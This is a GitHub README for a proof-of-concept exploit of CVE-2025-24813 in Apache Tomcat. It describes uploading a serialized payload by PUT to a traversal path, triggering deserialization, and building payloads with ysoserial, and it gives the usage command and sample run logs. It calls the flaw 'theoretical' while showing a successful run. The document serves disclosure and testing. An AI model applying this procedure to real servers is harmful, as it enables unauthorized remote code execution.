CVE-2025-24813 Apache Tomcat RCE PoC

March 14, 2025 · View on GitHub

Proof of Concept (PoC) exploiting CVE-2025-24813, a Remote Code Execution (RCE) vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization when specific conditions are met.

Description

CVE-2025-24813 is a theoretical RCE vulnerability in Apache Tomcat that leverages improper handling of uploaded session files and deserialization mechanisms. By uploading a crafted payload to a writable directory (e.g., /uploads/../sessions/), an attacker can trigger deserialization, resulting in the execution of arbitrary commands on the target server.

Prerequisites for Successful Exploitation

For this PoC to successfully exploit the vulnerability, the following conditions must be met:

  1. Apache Tomcat Version: The target must be running a vulnerable version of Apache Tomcat.
  2. Writable Directory: The server must allow PUT requests
  3. Deserialization Trigger: The server must process the uploaded session file (e.g., via a GET request to /index.jsp) and trigger deserialization of the payload.
  4. Java Environment: The attacker’s machine must have Java installed to generate payloads using ysoserial or compile Java-based payloads.
  5. ysoserial (Optional): If using the ysoserial payload type, the ysoserial.jar file must be available locally.
python CVE-2025-24813.py <target_url> [options]

Output

  • Successful Exploit:
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
  • Failed Exploit:
[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser